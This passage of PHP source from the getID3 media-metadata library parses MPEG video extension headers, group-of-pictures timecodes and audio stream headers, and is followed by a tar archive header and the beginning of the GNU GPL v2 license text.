							$marker_bit                                                      = self::readBitsFromStream($bitstream, $bitstreamoffset,  1); // The term "marker_bit" indicates a one bit field in which the value zero is forbidden. These marker bits are introduced at several points in the syntax to avoid start code emulation.
							$info['mpeg']['video']['raw']['display_vertical_size']           = self::readBitsFromStream($bitstream, $bitstreamoffset, 14); // 14 bits for display_vertical_size

							$info['mpeg']['video']['video_format'] = self::videoFormatTextLookup($info['mpeg']['video']['raw']['video_format']);
							break;

						case  3: // 0011 Quant Matrix Extension ID
							break;

						case  5: // 0101 Sequence Scalable Extension ID
							$info['mpeg']['video']['raw']['scalable_mode']                              = self::readBitsFromStream($bitstream, $bitstreamoffset,  2); //  2 bits for scalable_mode
							$info['mpeg']['video']['raw']['layer_id']                                   = self::readBitsFromStream($bitstream, $bitstreamoffset,  4); //  4 bits for layer_id
							if ($info['mpeg']['video']['raw']['scalable_mode'] == 1) { // "spatial scalability"
								$info['mpeg']['video']['raw']['lower_layer_prediction_horizontal_size'] = self::readBitsFromStream($bitstream, $bitstreamoffset, 14); // 14 bits for lower_layer_prediction_horizontal_size
								$marker_bit                                                             = self::readBitsFromStream($bitstream, $bitstreamoffset,  1); // The term "marker_bit" indicates a one bit field in which the value zero is forbidden. These marker bits are introduced at several points in the syntax to avoid start code emulation.
								$info['mpeg']['video']['raw']['lower_layer_prediction_vertical_size']   = self::readBitsFromStream($bitstream, $bitstreamoffset, 14); // 14 bits for lower_layer_prediction_vertical_size
								$info['mpeg']['video']['raw']['horizontal_subsampling_factor_m']        = self::readBitsFromStream($bitstream, $bitstreamoffset,  5); //  5 bits for horizontal_subsampling_factor_m
								$info['mpeg']['video']['raw']['horizontal_subsampling_factor_n']        = self::readBitsFromStream($bitstream, $bitstreamoffset,  5); //  5 bits for horizontal_subsampling_factor_n
								$info['mpeg']['video']['raw']['vertical_subsampling_factor_m']          = self::readBitsFromStream($bitstream, $bitstreamoffset,  5); //  5 bits for vertical_subsampling_factor_m
								$info['mpeg']['video']['raw']['vertical_subsampling_factor_n']          = self::readBitsFromStream($bitstream, $bitstreamoffset,  5); //  5 bits for vertical_subsampling_factor_n
							} elseif ($info['mpeg']['video']['raw']['scalable_mode'] == 3) { // "temporal scalability"
								$info['mpeg']['video']['raw']['picture_mux_enable']                     = self::readBitsFromStream($bitstream, $bitstreamoffset,  1); //  1 bit flag: picture_mux_enable
								if ($info['mpeg']['video']['raw']['picture_mux_enable']) {
									$info['mpeg']['video']['raw']['mux_to_progressive_sequence']        = self::readBitsFromStream($bitstream, $bitstreamoffset,  1); //  1 bit flag: mux_to_progressive_sequence
								}
								$info['mpeg']['video']['raw']['picture_mux_order']                      = self::readBitsFromStream($bitstream, $bitstreamoffset,  3); //  3 bits for picture_mux_order
								$info['mpeg']['video']['raw']['picture_mux_factor']                     = self::readBitsFromStream($bitstream, $bitstreamoffset,  3); //  3 bits for picture_mux_factor
							}

							$info['mpeg']['video']['scalable_mode'] = self::scalableModeTextLookup($info['mpeg']['video']['raw']['scalable_mode']);
							break;

						case  7: // 0111 Picture Display Extension ID
							break;

						case  8: // 1000 Picture Coding Extension ID
							$info['mpeg']['video']['raw']['f_code_00']                       = self::readBitsFromStream($bitstream, $bitstreamoffset,  4); // 4 bits for f_code[0][0] (forward horizontal)
							$info['mpeg']['video']['raw']['f_code_01']                       = self::readBitsFromStream($bitstream, $bitstreamoffset,  4); // 4 bits for f_code[0][1] (forward vertical)
							$info['mpeg']['video']['raw']['f_code_10']                       = self::readBitsFromStream($bitstream, $bitstreamoffset,  4); // 4 bits for f_code[1][0] (backward horizontal)
							$info['mpeg']['video']['raw']['f_code_11']                       = self::readBitsFromStream($bitstream, $bitstreamoffset,  4); // 4 bits for f_code[1][1] (backward vertical)
							$info['mpeg']['video']['raw']['intra_dc_precision']              = self::readBitsFromStream($bitstream, $bitstreamoffset,  2); // 2 bits for intra_dc_precision
							$info['mpeg']['video']['raw']['picture_structure']               = self::readBitsFromStream($bitstream, $bitstreamoffset,  2); // 2 bits for picture_structure
							$info['mpeg']['video']['raw']['top_field_first']                 = self::readBitsFromStream($bitstream, $bitstreamoffset,  1); // 1 bit flag: top_field_first
							$info['mpeg']['video']['raw']['frame_pred_frame_dct']            = self::readBitsFromStream($bitstream, $bitstreamoffset,  1); // 1 bit flag: frame_pred_frame_dct
							$info['mpeg']['video']['raw']['concealment_motion_vectors']      = self::readBitsFromStream($bitstream, $bitstreamoffset,  1); // 1 bit flag: concealment_motion_vectors
							$info['mpeg']['video']['raw']['q_scale_type']                    = self::readBitsFromStream($bitstream, $bitstreamoffset,  1); // 1 bit flag: q_scale_type
							$info['mpeg']['video']['raw']['intra_vlc_format']                = self::readBitsFromStream($bitstream, $bitstreamoffset,  1); // 1 bit flag: intra_vlc_format
							$info['mpeg']['video']['raw']['alternate_scan']                  = self::readBitsFromStream($bitstream, $bitstreamoffset,  1); // 1 bit flag: alternate_scan
							$info['mpeg']['video']['raw']['repeat_first_field']              = self::readBitsFromStream($bitstream, $bitstreamoffset,  1); // 1 bit flag: repeat_first_field
							$info['mpeg']['video']['raw']['chroma_420_type']                 = self::readBitsFromStream($bitstream, $bitstreamoffset,  1); // 1 bit flag: chroma_420_type
							$info['mpeg']['video']['raw']['progressive_frame']               = self::readBitsFromStream($bitstream, $bitstreamoffset,  1); // 1 bit flag: progressive_frame
							$info['mpeg']['video']['raw']['composite_display_flag']          = self::readBitsFromStream($bitstream, $bitstreamoffset,  1); // 1 bit flag: composite_display_flag
							if ($info['mpeg']['video']['raw']['composite_display_flag']) {
								$info['mpeg']['video']['raw']['v_axis']                      = self::readBitsFromStream($bitstream, $bitstreamoffset,  1); // 1 bit flag: v_axis
								$info['mpeg']['video']['raw']['field_sequence']              = self::readBitsFromStream($bitstream, $bitstreamoffset,  3); // 3 bits for field_sequence
								$info['mpeg']['video']['raw']['sub_carrier']                 = self::readBitsFromStream($bitstream, $bitstreamoffset,  1); // 1 bit flag: sub_carrier
								$info['mpeg']['video']['raw']['burst_amplitude']             = self::readBitsFromStream($bitstream, $bitstreamoffset,  7); // 7 bits for burst_amplitude
								$info['mpeg']['video']['raw']['sub_carrier_phase']           = self::readBitsFromStream($bitstream, $bitstreamoffset,  8); // 8 bits for sub_carrier_phase
							}

							$info['mpeg']['video']['intra_dc_precision_bits'] = $info['mpeg']['video']['raw']['intra_dc_precision'] + 8;
							$info['mpeg']['video']['picture_structure'] = self::pictureStructureTextLookup($info['mpeg']['video']['raw']['picture_structure']);
							break;

						case  9: // 1001 Picture Spatial Scalable Extension ID
							break;
						case 10: // 1010 Picture Temporal Scalable Extension ID
							break;

						default:
							$this->warning('Unexpected $info[mpeg][video][raw][extension_start_code_identifier] value of '.$info['mpeg']['video']['raw']['extension_start_code_identifier']);
							break;
					}
					break;


				case 0xB8: // group_of_pictures_header
					$GOPcounter++;
					if ($info['mpeg']['video']['bitrate_mode'] == 'vbr') {
						$bitstream = getid3_lib::BigEndian2Bin(substr($MPEGstreamData, $StartCodeOffset + 4, 4)); // 27 bits needed for group_of_pictures_header
						$bitstreamoffset = 0;

						$GOPheader = array();

						$GOPheader['byte_offset'] = $MPEGstreamBaseOffset + $StartCodeOffset;
						$GOPheader['drop_frame_flag']    = self::readBitsFromStream($bitstream, $bitstreamoffset,  1); //  1 bit flag: drop_frame_flag
						$GOPheader['time_code_hours']    = self::readBitsFromStream($bitstream, $bitstreamoffset,  5); //  5 bits for time_code_hours
						$GOPheader['time_code_minutes']  = self::readBitsFromStream($bitstream, $bitstreamoffset,  6); //  6 bits for time_code_minutes
						$marker_bit                      = self::readBitsFromStream($bitstream, $bitstreamoffset,  1); // The term "marker_bit" indicates a one bit field in which the value zero is forbidden. These marker bits are introduced at several points in the syntax to avoid start code emulation.
						$GOPheader['time_code_seconds']  = self::readBitsFromStream($bitstream, $bitstreamoffset,  6); //  6 bits for time_code_seconds
						$GOPheader['time_code_pictures'] = self::readBitsFromStream($bitstream, $bitstreamoffset,  6); //  6 bits for time_code_pictures
						$GOPheader['closed_gop']         = self::readBitsFromStream($bitstream, $bitstreamoffset,  1); //  1 bit flag: closed_gop
						$GOPheader['broken_link']        = self::readBitsFromStream($bitstream, $bitstreamoffset,  1); //  1 bit flag: broken_link

						$time_code_separator = ($GOPheader['drop_frame_flag'] ? ';' : ':'); // While non-drop time code is displayed with colons separating the digit pairs�"HH:MM:SS:FF"�drop frame is usually represented with a semi-colon (;) or period (.) as the divider between all the digit pairs�"HH;MM;SS;FF", "HH.MM.SS.FF"
						$GOPheader['time_code'] = sprintf('%02d'.$time_code_separator.'%02d'.$time_code_separator.'%02d'.$time_code_separator.'%02d', $GOPheader['time_code_hours'], $GOPheader['time_code_minutes'], $GOPheader['time_code_seconds'], $GOPheader['time_code_pictures']);

						$info['mpeg']['group_of_pictures'][] = $GOPheader;
					}
					break;

				case 0xC0: // audio stream
				case 0xC1: // audio stream
				case 0xC2: // audio stream
				case 0xC3: // audio stream
				case 0xC4: // audio stream
				case 0xC5: // audio stream
				case 0xC6: // audio stream
				case 0xC7: // audio stream
				case 0xC8: // audio stream
				case 0xC9: // audio stream
				case 0xCA: // audio stream
				case 0xCB: // audio stream
				case 0xCC: // audio stream
				case 0xCD: // audio stream
				case 0xCE: // audio stream
				case 0xCF: // audio stream
				case 0xD0: // audio stream
				case 0xD1: // audio stream
				case 0xD2: // audio stream
				case 0xD3: // audio stream
				case 0xD4: // audio stream
				case 0xD5: // audio stream
				case 0xD6: // audio stream
				case 0xD7: // audio stream
				case 0xD8: // audio stream
				case 0xD9: // audio stream
				case 0xDA: // audio stream
				case 0xDB: // audio stream
				case 0xDC: // audio stream
				case 0xDD: // audio stream
				case 0xDE: // audio stream
				case 0xDF: // audio stream
				//case 0xE0: // video stream
				//case 0xE1: // video stream
				//case 0xE2: // video stream
				//case 0xE3: // video stream
				//case 0xE4: // video stream
				//case 0xE5: // video stream
				//case 0xE6: // video stream
				//case 0xE7: // video stream
				//case 0xE8: // video stream
				//case 0xE9: // video stream
				//case 0xEA: // video stream
				//case 0xEB: // video stream
				//case 0xEC: // video stream
				//case 0xED: // video stream
				//case 0xEE: // video stream
				//case 0xEF: // video stream
					if (isset($ParsedAVchannels[$StartCodeValue])) {
						break;
					}
					$ParsedAVchannels[$StartCodeValue] = $StartCodeValue;
					// http://en.wikipedia.org/wiki/Packetized_elementary_stream
					// http://dvd.sourceforge.net/dvdinfo/pes-hdr.html
/*
					$PackedElementaryStream = array();
					if ($StartCodeValue >= 0xE0) {
						$PackedElementaryStream['stream_type'] = 'video';
						$PackedElementaryStream['stream_id']   = $StartCodeValue - 0xE0;
					} else {
						$PackedElementaryStream['stream_type'] = 'audio';
						$PackedElementaryStream['stream_id']   = $StartCodeValue - 0xC0;
					}
					$PackedElementaryStream['packet_length'] = getid3_lib::BigEndian2Int(substr($MPEGstreamData, $StartCodeOffset + 4, 2));

					$bitstream = getid3_lib::BigEndian2Bin(substr($MPEGstreamData, $StartCodeOffset + 6, 3)); // more may be needed below
					$bitstreamoffset = 0;

					$PackedElementaryStream['marker_bits']               = self::readBitsFromStream($bitstream, $bitstreamoffset,  2); //  2 bits for marker_bits -- should be "10" = 2
echo 'marker_bits = '.$PackedElementaryStream['marker_bits'].'<br>';
					$PackedElementaryStream['scrambling_control']        = self::readBitsFromStream($bitstream, $bitstreamoffset,  2); //  2 bits for scrambling_control -- 00 implies not scrambled
					$PackedElementaryStream['priority']                  = self::readBitsFromStream($bitstream, $bitstreamoffset,  1); //  1 bit flag: priority
					$PackedElementaryStream['data_alignment_indicator']  = self::readBitsFromStream($bitstream, $bitstreamoffset,  1); //  1 bit flag: data_alignment_indicator -- 1 indicates that the PES packet header is immediately followed by the video start code or audio syncword
					$PackedElementaryStream['copyright']                 = self::readBitsFromStream($bitstream, $bitstreamoffset,  1); //  1 bit flag: copyright -- 1 implies copyrighted
					$PackedElementaryStream['original_or_copy']          = self::readBitsFromStream($bitstream, $bitstreamoffset,  1); //  1 bit flag: original_or_copy -- 1 implies original
					$PackedElementaryStream['pts_flag']                  = self::readBitsFromStream($bitstream, $bitstreamoffset,  1); //  1 bit flag: pts_flag -- Presentation Time Stamp
					$PackedElementaryStream['dts_flag']                  = self::readBitsFromStream($bitstream, $bitstreamoffset,  1); //  1 bit flag: dts_flag -- Decode Time Stamp
					$PackedElementaryStream['escr_flag']                 = self::readBitsFromStream($bitstream, $bitstreamoffset,  1); //  1 bit flag: escr_flag -- Elementary Stream Clock Reference
					$PackedElementaryStream['es_rate_flag']              = self::readBitsFromStream($bitstream, $bitstreamoffset,  1); //  1 bit flag: es_rate_flag -- Elementary Stream [data] Rate
					$PackedElementaryStream['dsm_trick_mode_flag']       = self::readBitsFromStream($bitstream, $bitstreamoffset,  1); //  1 bit flag: dsm_trick_mode_flag -- DSM trick mode - not used by DVD
					$PackedElementaryStream['additional_copy_info_flag'] = self::readBitsFromStream($bitstream, $bitstreamoffset,  1); //  1 bit flag: additional_copy_info_flag
					$PackedElementaryStream['crc_flag']                  = self::readBitsFromStream($bitstream, $bitstreamoffset,  1); //  1 bit flag: crc_flag
					$PackedElementaryStream['extension_flag']            = self::readBitsFromStream($bitstream, $bitstreamoffset,  1); //  1 bit flag: extension_flag
					$PackedElementaryStream['pes_remain_header_length']  = self::readBitsFromStream($bitstream, $bitstreamoffset,  8); //  1 bit flag: priority

					$additional_header_bytes = 0;
					$additional_header_bytes += ($PackedElementaryStream['pts_flag']                  ? 5 : 0);
					$additional_header_bytes += ($PackedElementaryStream['dts_flag']                  ? 5 : 0);
					$additional_header_bytes += ($PackedElementaryStream['escr_flag']                 ? 6 : 0);
					$additional_header_bytes += ($PackedElementaryStream['es_rate_flag']              ? 3 : 0);
					$additional_header_bytes += ($PackedElementaryStream['additional_copy_info_flag'] ? 1 : 0);
					$additional_header_bytes += ($PackedElementaryStream['crc_flag']                  ? 2 : 0);
					$additional_header_bytes += ($PackedElementaryStream['extension_flag']            ? 1 : 0);
$PackedElementaryStream['additional_header_bytes'] = $additional_header_bytes;
					$bitstream .= getid3_lib::BigEndian2Bin(substr($MPEGstreamData, $StartCodeOffset + 9, $additional_header_bytes));

					$info['mpeg']['packed_elementary_streams'][$PackedElementaryStream['stream_type']][$PackedElementaryStream['stream_id']][] = $PackedElementaryStream;
*/
					$getid3_temp = new getID3();
					$getid3_temp->openfile($this->getid3->filename);
					$getid3_temp->info = $info;
					$getid3_mp3 = new getid3_mp3($getid3_temp);
					for ($i = 0; $i <= 7; $i++) {
						// some files have the MPEG-audio header 8 bytes after the end of the $00 $00 $01 $C0 signature, some have it up to 13 bytes (or more?) after
						// I have no idea why or what the difference is, so this is a stupid hack.
						// If anybody has any better idea of what's going on, please let me know - info@getid3.org
						$getid3_temp->info = $info; // only overwrite real data if valid header found
//echo 'audio at? '.($MPEGstreamBaseOffset + $StartCodeOffset + 4 + 8 + $i).'<br>';
						if ($getid3_mp3->decodeMPEGaudioHeader($MPEGstreamBaseOffset + $StartCodeOffset + 4 + 8 + $i, $getid3_temp->info, false)) {
//echo 'yes!<br>';
							$info = $getid3_temp->info;
							$info['audio']['bitrate_mode'] = 'cbr';
							$info['audio']['lossless']     = false;
							break;
						}
					}
					unset($getid3_temp, $getid3_mp3);
					break;

				case 0xBC: // Program Stream Map
				case 0xBD: // Private stream 1 (non MPEG audio, subpictures)
				case 0xBE: // Padding stream
				case 0xBF: // Private stream 2 (navigation data)
				case 0xF0: // ECM stream
				case 0xF1: // EMM stream
				case 0xF2: // DSM-CC stream
				case 0xF3: // ISO/IEC_13522_stream
				case 0xF4: // ITU-I Rec. H.222.1 type A
				case 0xF5: // ITU-I Rec. H.222.1 type B
				case 0xF6: // ITU-I Rec. H.222.1 type C
				case 0xF7: // ITU-I Rec. H.222.1 type D
				case 0xF8: // ITU-I Rec. H.222.1 type E
				case 0xF9: // ancilliary stream
				case 0xFA: // ISO/IEC 14496-1 SL-packtized stream
				case 0xFB: // ISO/IEC 14496-1 FlexMux stream
				case 0xFC: // metadata stream
				case 0xFD: // extended stream ID
				case 0xFE: // reserved data stream
				case 0xFF: // program stream directory
					// ignore
					break;

				default:
					// ignore
					break;
			}
		} while (true);



//		// Temporary hack to account for interleaving overhead:
//		if (!empty($info['video']['bitrate']) && !empty($info['audio']['bitrate'])) {
//			$info['playtime_seconds'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / ($info['video']['bitrate'] + $info['audio']['bitrate']);
//
//			// Interleaved MPEG audio/video files have a certain amount of overhead that varies
//			// by both video and audio bitrates, and not in any sensible, linear/logarithmic pattern
//			// Use interpolated lookup tables to approximately guess how much is overhead, because
//			// playtime is calculated as filesize / total-bitrate
//			$info['playtime_seconds'] *= self::systemNonOverheadPercentage($info['video']['bitrate'], $info['audio']['bitrate']);
//
//			//switch ($info['video']['bitrate']) {
//			//	case('5000000'):
//			//		$multiplier = 0.93292642112380355828048824319889;
//			//		break;
//			//	case('5500000'):
//			//		$multiplier = 0.93582895375200989965359777343219;
//			//		break;
//			//	case('6000000'):
//			//		$multiplier = 0.93796247714820932532911373859139;
//			//		break;
//			//	case('7000000'):
//			//		$multiplier = 0.9413264083635103463010117778776;
//			//		break;
//			//	default:
//			//		$multiplier = 1;
//			//		break;
//			//}
//			//$info['playtime_seconds'] *= $multiplier;
//			//$this->warning('Interleaved MPEG audio/video playtime may be inaccurate. With current hack should be within a few seconds of accurate. Report to info@getid3.org if off by more than 10 seconds.');
//			if ($info['video']['bitrate'] < 50000) {
//				$this->warning('Interleaved MPEG audio/video playtime may be slightly inaccurate for video bitrates below 100kbps. Except in extreme low-bitrate situations, error should be less than 1%. Report to info@getid3.org if greater than this.');
//			}
//		}
//
/*
$time_prev = 0;
$byte_prev = 0;
$vbr_bitrates = array();
foreach ($info['mpeg']['group_of_pictures'] as $gopkey => $gopdata) {
	$time_this = ($gopdata['time_code_hours'] * 3600) + ($gopdata['time_code_minutes'] * 60) + $gopdata['time_code_seconds'] + ($gopdata['time_code_seconds'] / 30);
	$byte_this = $gopdata['byte_offset'];
	if ($gopkey > 0) {
		if ($time_this > $time_prev) {
			$bytedelta = $byte_this - $byte_prev;
			$timedelta = $time_this - $time_prev;
			$this_bitrate = ($bytedelta * 8) / $timedelta;
echo $gopkey.': ('.number_format($time_prev, 2).'-'.number_format($time_this, 2).') '.number_format($bytedelta).' bytes over '.number_format($timedelta, 3).' seconds = '.number_format($this_bitrate / 1000, 2).'kbps<br>';
			$time_prev = $time_this;
			$byte_prev = $byte_this;
			$vbr_bitrates[] = $this_bitrate;
		}
	}
}
echo 'average_File_bitrate = '.number_format(array_sum($vbr_bitrates) / count($vbr_bitrates), 1).'<br>';
*/
//echo '<pre>'.print_r($FramesByGOP, true).'</pre>';
		if (!empty($info['mpeg']['video']['bitrate_mode']) && ($info['mpeg']['video']['bitrate_mode'] == 'vbr')) {
			$last_GOP_id = max(array_keys($FramesByGOP));
			$frames_in_last_GOP = count($FramesByGOP[$last_GOP_id]);
			$gopdata = &$info['mpeg']['group_of_pictures'][$last_GOP_id];
			$info['playtime_seconds'] = ($gopdata['time_code_hours'] * 3600) + ($gopdata['time_code_minutes'] * 60) + $gopdata['time_code_seconds'] + (($gopdata['time_code_pictures'] + $frames_in_last_GOP + 1) / $info['mpeg']['video']['frame_rate']);
			if (!isset($info['video']['bitrate'])) {
				$overall_bitrate = ($info['avdataend'] - $info['avdataoffset']) * 8 / $info['playtime_seconds'];
				$info['video']['bitrate'] = $overall_bitrate - (isset($info['audio']['bitrate']) ? $info['audio']['bitrate'] : 0);
			}
			unset($info['mpeg']['group_of_pictures']);
		}

		return true;
	}

	private function readBitsFromStream(&$bitstream, &$bitstreamoffset, $bits_to_read, $return_singlebit_as_boolean=true) {
		$return = bindec(substr($bitstream, $bitstreamoffset, $bits_to_read));
		$bitstreamoffset += $bits_to_read;
		if (($bits_to_read == 1) && $return_singlebit_as_boolean) {
			$return = (bool) $return;
		}
		return $return;
	}


	public static function systemNonOverheadPercentage($VideoBitrate, $AudioBitrate) {
		$OverheadPercentage = 0;

		$AudioBitrate = max(min($AudioBitrate / 1000,   384), 32); // limit to range of 32kbps - 384kbps (should be only legal bitrates, but maybe VBR?)
		$VideoBitrate = max(min($VideoBitrate / 1000, 10000), 10); // limit to range of 10kbps -  10Mbps (beyond that curves flatten anyways, no big loss)


		//OMBB[audiobitrate]              = array(video-10kbps,       video-100kbps,      video-1000kbps,     video-10000kbps)
		$OverheadMultiplierByBitrate[32]  = array(0, 0.9676287944368530, 0.9802276264360310, 0.9844916183244460, 0.9852821845179940);
		$OverheadMultiplierByBitrate[48]  = array(0, 0.9779100089209830, 0.9787770035359320, 0.9846738664076130, 0.9852683013799960);
		$OverheadMultiplierByBitrate[56]  = array(0, 0.9731249855367600, 0.9776624308938040, 0.9832606361852130, 0.9843922606633340);
		$OverheadMultiplierByBitrate[64]  = array(0, 0.9755642683275760, 0.9795256705493390, 0.9836573009193170, 0.9851122539404470);
		$OverheadMultiplierByBitrate[96]  = array(0, 0.9788025247497290, 0.9798553314148700, 0.9822956869792560, 0.9834815119124690);
		$OverheadMultiplierByBitrate[128] = array(0, 0.9816940050925480, 0.9821675936072120, 0.9829756927470870, 0.9839763420152050);
		$OverheadMultiplierByBitrate[160] = array(0, 0.9825894094561180, 0.9820913399073960, 0.9823907143253970, 0.9832821783651570);
		$OverheadMultiplierByBitrate[192] = array(0, 0.9832038474336260, 0.9825731694317960, 0.9821028622712400, 0.9828262076447620);
		$OverheadMultiplierByBitrate[224] = array(0, 0.9836516298538770, 0.9824718601823890, 0.9818302180625380, 0.9823735101626480);
		$OverheadMultiplierByBitrate[256] = array(0, 0.9845863022094920, 0.9837229411967540, 0.9824521662210830, 0.9828645172100790);
		$OverheadMultiplierByBitrate[320] = array(0, 0.9849565280263180, 0.9837683142805110, 0.9822885275960400, 0.9824424382727190);
		$OverheadMultiplierByBitrate[384] = array(0, 0.9856094774357600, 0.9844573394432720, 0.9825970399837330, 0.9824673808303890);

		$BitrateToUseMin = 32;
		$BitrateToUseMax = 32;
		$previousBitrate = 32;
		foreach ($OverheadMultiplierByBitrate as $key => $value) {
			if ($AudioBitrate >= $previousBitrate) {
				$BitrateToUseMin = $previousBitrate;
			}
			if ($AudioBitrate < $key) {
				$BitrateToUseMax = $key;
				break;
			}
			$previousBitrate = $key;
		}
		$FactorA = ($BitrateToUseMax - $AudioBitrate) / ($BitrateToUseMax - $BitrateToUseMin);

		$VideoBitrateLog10 = log10($VideoBitrate);
		$VideoFactorMin1 = $OverheadMultiplierByBitrate[$BitrateToUseMin][floor($VideoBitrateLog10)];
		$VideoFactorMin2 = $OverheadMultiplierByBitrate[$BitrateToUseMax][floor($VideoBitrateLog10)];
		$VideoFactorMax1 = $OverheadMultiplierByBitrate[$BitrateToUseMin][ceil($VideoBitrateLog10)];
		$VideoFactorMax2 = $OverheadMultiplierByBitrate[$BitrateToUseMax][ceil($VideoBitrateLog10)];
		$FactorV = $VideoBitrateLog10 - floor($VideoBitrateLog10);

		$OverheadPercentage  = $VideoFactorMin1 *      $FactorA  *      $FactorV;
		$OverheadPercentage += $VideoFactorMin2 * (1 - $FactorA) *      $FactorV;
		$OverheadPercentage += $VideoFactorMax1 *      $FactorA  * (1 - $FactorV);
		$OverheadPercentage += $VideoFactorMax2 * (1 - $FactorA) * (1 - $FactorV);

		return $OverheadPercentage;
	}


	public static function videoFramerateLookup($rawframerate) {
		$lookup = array(0, 23.976, 24, 25, 29.97, 30, 50, 59.94, 60);
		return (isset($lookup[$rawframerate]) ? (float) $lookup[$rawframerate] : (float) 0);
	}

	public static function videoAspectRatioLookup($rawaspectratio) {
		$lookup = array(0, 1, 0.6735, 0.7031, 0.7615, 0.8055, 0.8437, 0.8935, 0.9157, 0.9815, 1.0255, 1.0695, 1.0950, 1.1575, 1.2015, 0);
		return (isset($lookup[$rawaspectratio]) ? (float) $lookup[$rawaspectratio] : (float) 0);
	}

	public static function videoAspectRatioTextLookup($rawaspectratio) {
		$lookup = array('forbidden', 'square pixels', '0.6735', '16:9, 625 line, PAL', '0.7615', '0.8055', '16:9, 525 line, NTSC', '0.8935', '4:3, 625 line, PAL, CCIR601', '0.9815', '1.0255', '1.0695', '4:3, 525 line, NTSC, CCIR601', '1.1575', '1.2015', 'reserved');
		return (isset($lookup[$rawaspectratio]) ? $lookup[$rawaspectratio] : '');
	}

	public static function videoFormatTextLookup($video_format) {
		// ISO/IEC 13818-2, section 6.3.6, Table 6-6. Meaning of video_format
		$lookup = array('component', 'PAL', 'NTSC', 'SECAM', 'MAC', 'Unspecified video format', 'reserved(6)', 'reserved(7)');
		return (isset($lookup[$video_format]) ? $lookup[$video_format] : '');
	}

	public static function scalableModeTextLookup($scalable_mode) {
		// ISO/IEC 13818-2, section 6.3.8, Table 6-10. Definition of scalable_mode
		$lookup = array('data partitioning', 'spatial scalability', 'SNR scalability', 'temporal scalability');
		return (isset($lookup[$scalable_mode]) ? $lookup[$scalable_mode] : '');
	}

	public static function pictureStructureTextLookup($picture_structure) {
		// ISO/IEC 13818-2, section 6.3.11, Table 6-14 Meaning of picture_structure
		$lookup = array('reserved', 'Top Field', 'Bottom Field', 'Frame picture');
		return (isset($lookup[$picture_structure]) ? $lookup[$picture_structure] : '');
	}

	public static function chromaFormatTextLookup($chroma_format) {
		// ISO/IEC 13818-2, section 6.3.11, Table 6-14 Meaning of picture_structure
		$lookup = array('reserved', '4:2:0', '4:2:2', '4:4:4');
		return (isset($lookup[$chroma_format]) ? $lookup[$chroma_format] : '');
	}

}editor/libraries/classes/vendor/getid3/getid3/license.txt000060400000043175150750527150017476 0ustar00            GNU GENERAL PUBLIC LICENSE
               Version 2, June 1991

 Copyright (C) 1989, 1991 Free Software Foundation, Inc.
              59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

                Preamble

  The licenses for most software are designed to take away your
freedom to share and change it.  By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users.  This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it.  (Some other Free Software Foundation software is covered by
the GNU Library General Public License instead.)  You can apply it to
your programs, too.

  When we speak of free software, we are referring to freedom, not
price.  Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.

  To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.

  For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have.  You must make sure that they, too, receive or can get the
source code.  And you must show them these terms so they know their
rights.

  We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.

  Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software.  If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.

  Finally, any free program is threatened constantly by software
patents.  We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary.  To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at all.

  The precise terms and conditions for copying, distribution and
modification follow.

            GNU GENERAL PUBLIC LICENSE
   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION

  0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License.  The "Program", below,
refers to any such program or work, and a "work based on the Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language.  (Hereinafter, translation is included without limitation in
the term "modification".)  Each licensee is addressed as "you".

Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope.  The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.

  1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.

You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.

  2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:

    a) You must cause the modified files to carry prominent notices
    stating that you changed the files and the date of any change.

    b) You must cause any work that you distribute or publish, that in
    whole or in part contains or is derived from the Program or any
    part thereof, to be licensed as a whole at no charge to all third
    parties under the terms of this License.

    c) If the modified program normally reads commands interactively
    when run, you must cause it, when started running for such
    interactive use in the most ordinary way, to print or display an
    announcement including an appropriate copyright notice and a
    notice that there is no warranty (or else, saying that you provide
    a warranty) and that users may redistribute the program under
    these conditions, and telling the user how to view a copy of this
    License.  (Exception: if the Program itself is interactive but
    does not normally print such an announcement, your work based on
    the Program is not required to print an announcement.)

These requirements apply to the modified work as a whole.  If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works.  But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.

Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.

In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.

